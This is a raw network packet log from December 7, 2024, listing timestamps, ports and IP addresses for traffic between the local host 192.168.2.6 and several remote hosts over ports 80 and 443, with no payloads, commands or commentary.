Dec 7, 2024 00:15:50.301084995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.301886082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.301995039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.301995993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.302105904 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.303164005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.303208113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.303333998 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.303441048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.303877115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.303919077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.303977013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.304019928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.304845095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.304924011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.304958105 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.305041075 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.305855989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.305948973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.305960894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.306019068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.306778908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.306827068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.314801931 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.314830065 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.314922094 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.314939022 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.315112114 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.429060936 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.429090977 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.429214001 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.429231882 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.429280996 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.445231915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.445327044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.445328951 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.445369005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.445677996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.445833921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.445916891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.446018934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.446022987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.446345091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.446935892 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.447000980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.447041988 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.447087049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.447942972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.447993994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.448204994 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.448266983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.448892117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.448951960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.448982954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.449028969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.449945927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.450165033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.450221062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.450452089 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.450503111 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.450534105 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.450541973 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.450567961 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.450592995 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.450879097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.450928926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.450961113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.451000929 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.451595068 CET	443	49842	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.451894999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.451946020 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.451972961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.452014923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.452220917 CET	49842	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:50.452236891 CET	443	49842	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.453037977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.453049898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.453094006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.453268051 CET	49842	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:50.453277111 CET	443	49842	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:50.453885078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.454005003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.454005957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.454125881 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.454853058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.454911947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.454953909 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.455001116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.456051111 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.456062078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.456118107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.456844091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.456907034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.456948042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.457045078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.457843065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.457978964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.458024025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.458050966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.458852053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.458967924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.459026098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.459815025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.459875107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.459911108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.459954023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.460798025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.460844994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.460949898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.460997105 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.461806059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.461906910 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.461960077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.462798119 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.462851048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.462959051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.463015079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.463973045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.463984966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.464025974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.464793921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.464890957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.465609074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.465955019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.465967894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.466006994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.466803074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.466933966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.466985941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.467775106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.467892885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.467941046 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.468204975 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.468225956 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.468297958 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.468312979 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.468755007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.468887091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.468936920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.468940020 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.469767094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.469875097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.470875025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.470927000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.471188068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.471793890 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.471846104 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.471863985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.472387075 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.472414970 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.472466946 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.472490072 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.472492933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.472506046 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.472742081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.472852945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.473001957 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.473143101 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.474014997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.474062920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.474206924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.474251032 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.474725008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.474864006 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.475737095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.475792885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.475842953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.476731062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.476779938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.476820946 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.477638960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.477703094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.477832079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.477880001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.478827953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.478838921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.478887081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.479705095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.479799986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.479867935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.480751038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.480940104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.480993986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.481767893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.481846094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.482692003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.482745886 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.482815027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.483670950 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.483702898 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.483722925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.483763933 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.483782053 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.483795881 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.483798027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.483798027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.483824015 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.483951092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.484719038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.484817028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.484882116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.485697985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.485800982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.486706972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.486768961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.486809015 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.487674952 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.487725973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.487766027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.488795996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.488862038 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.489120960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.489628077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.489664078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.489764929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.489806890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.490644932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.490777969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.490825891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.491699934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.491800070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.491847992 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.492615938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.492767096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.492820024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.493630886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.493767977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.494597912 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.494649887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.494708061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.494749069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.495604992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.495721102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.495857000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.496735096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.496788979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.497055054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.497126102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.501436949 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.501466036 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.501549006 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.501555920 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.501626015 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.518150091 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.518181086 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.518229008 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.518240929 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.518305063 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.521553993 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.521591902 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.521646976 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.521653891 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.521681070 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.521688938 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.626864910 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.626894951 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.626966953 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.626981020 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.627012968 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.627032042 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.638269901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.638339043 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.638364077 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.638665915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.638923883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.639090061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.639148951 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.639408112 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.639436007 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.639487982 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.639513969 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.639528036 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.639553070 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.639708996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.639760017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.639839888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.639883041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.640429974 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.640463114 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.640496969 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.640506983 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.640517950 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.640539885 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.640728951 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.640832901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.640886068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.641710997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.641834021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.641884089 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.642694950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.642745018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.642829895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.643205881 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.643707037 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.643769026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.643800974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.643871069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.644722939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.644932032 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.644988060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.645714045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.645862103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.645868063 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.646404028 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.646680117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.646753073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.646785021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.646823883 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.647869110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.647880077 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.647914886 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.648711920 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.648839951 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.649009943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.649163008 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.649857044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.649868965 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.650036097 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.650660992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.650741100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.650799036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.650937080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.651662111 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.651701927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.651784897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.651837111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.652682066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.652728081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.652765989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.652937889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.653093100 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.653127909 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.653157949 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.653167009 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:50.653206110 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.653218985 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:50.653769016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.653779984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:50.653825998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:50.654654980 CET	80	49823	185.215.113.206	192.168.2.6
